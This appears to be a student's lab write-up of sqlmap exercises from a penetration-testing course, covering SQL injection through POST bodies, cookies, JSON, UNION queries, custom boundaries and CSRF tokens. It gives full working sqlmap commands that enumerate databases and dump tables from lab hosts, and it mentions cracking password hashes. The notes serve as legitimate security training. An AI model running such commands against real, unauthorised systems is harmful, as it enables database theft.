---
title: "Z. scenario questions"
date: 2025-01-13
draft: false
---

![](/img/Pasted image 20240929213608.png)
![](/img/Pasted image 20240929214112.png)

```bash
┌──(root㉿kali)-[~/cpts/sqlmap]
└─# cat case2_curl.txt
curl 'http://83.136.254.47:44762/case2.php' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://83.136.254.47:44762' -H 'Connection: keep-alive' -H 'Referer: http://83.136.254.47:44762/case2.php' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'id=1'
```

![](/img/Pasted image 20240929215241.png)

```bash
--banner --current-user --current-db --is-dba
```
appended to sqlmap command we ran above (we removed curl and just ran `sqlmap` instead of curl) 

and we can enumerate we're database user `user2@localhost` 
and in `testdb` 

using `--tables -D testdb` 
![](/img/Pasted image 20240929220451.png)

and we can use `-T flag2 -D testdb --dump` 
to dump contents of flag2 table 

---
SQL injection in cookie 
[[2. basic scenario and usage#cookie sqlinj testing sqlmap]]

![](/img/Pasted image 20240929220913.png)

same steps as above - copy our case3.php GET request but use `--cookie` and custom injection mark 

```bash
sqlmap 'http://83.136.254.47:44762/case3.php' --compressed -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://83.136.254.47:44762/' -H 'Connection: keep-alive' -H 'Cookie: id=1' -H 'Upgrade-Insecure-Requests: 1' --cookie "id=1*"
```

above command worked for injection and it prompts you if it detects we're inputting a cookie as an injection parameter
same steps as above, 
`--current-db` and `--tables` to enumerate
![](/img/Pasted image 20240929221845.png)

---
sqlinjecting JSON data 

![](/img/Pasted image 20240929223346.png)

[[2. basic scenario and usage#json sqlmap reference]]

sqlmap 'http://83.136.254.47:44762/case4.php' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/json' -H 'Origin: http://83.136.254.47:44762' -H 'Connection: keep-alive' -H 'Referer: http://83.136.254.47:44762/case4.php' --data-raw '{"id":1}'
in this example `--data-raw` seems to work so lets try it out (since data is relatively small)
![](/img/Pasted image 20240929223623.png)

---
![](/img/Pasted image 20240929232154.png)

following same workflow: 
copy as curl 
ref. [[5. Tuning SQLMap attacks#sqlmap level/risk]] for tuning when we know the sqli uses `OR` 
example just uses --level 5 and --risk 3 
![](/img/Pasted image 20240929232529.png)
tons more tests used
![](/img/Pasted image 20240929232858.png)
something seems to be going terribly wrong

in our scenario we were able to fix this by using --time-sec parameter to introduce some time in between requests - we were hammering the webserver and sqlmap wasn't able to correctly interpret responses

full request: 
```bash
sqlmap 'http://83.136.254.47:45492/case5.php?id=1' --compressed -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Referer: http://83.136.254.47:45492/case5.php' -H 'Upgrade-Insecure-Requests: 1' -D testdb -T flag5 --dump --technique=BEU --level=5 --risk=3 --time-sec=2
```

---
```bash
Case6 - Non-standard boundaries

Detect and exploit SQLi vulnerability in GET parameter col having non-standard boundaries
```
this seems like it's going to be annoying 

might just go ahead and assume the boundary here is whats given in the module 
![](/img/Pasted image 20240929235449.png)
lol

unsure how i would have found this myself aside from manually testing some prefixes, not sure 

anyway this worked immediately

---
```bash
Case7 - UNION SQLi with adjustments

Detect and exploit SQLi vulnerability in GET parameter id by usage of UNION query-based technique
```

hint is to check amount of columns in output and supply them to sqlmap 

```bash
sqlmap 'http://83.136.254.47:45492/case7.php?id=1' --compressed -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Connection: keep-alive' -H 'Referer: http://83.136.254.47:45492/case7.php' -H 'Upgrade-Insecure-Requests: 1' --technique=U --union-cols=5
```

worked almost immediately 

for what its worth, testing this myself and not providing # of union columns didnt matter, but frankly its useful to know in case we're in a situation with hundreds of columns 

---
```bash
+ 1  What's the name of the column containing "style" in it's name? (Case #1)
```
case 1 is very simple sql injection 
honestly these last couple questions were self explanatory
use -d db -t table --dump to dump, dictionary attack on pw hashes 
`-C column-name --search [search string]` to find a column 

![](/img/Pasted image 20240930005652.png)

solved by specifying 
`--csrf-token=t0ken`
```bash
[......]
-H 'Upgrade-Insecure-Requests: 1' --data-raw 'id=1&t0ken=n8em6U25J9zvHqW44A0wj8Z4380PWCZRbzxU6mKeI' --csrf-token=t0ken
```


---
honestly the biggest things here are:
- play with `technique` if you don't want to bother with waiting for time based
- use --time-sec if you need to increase time between reqs 

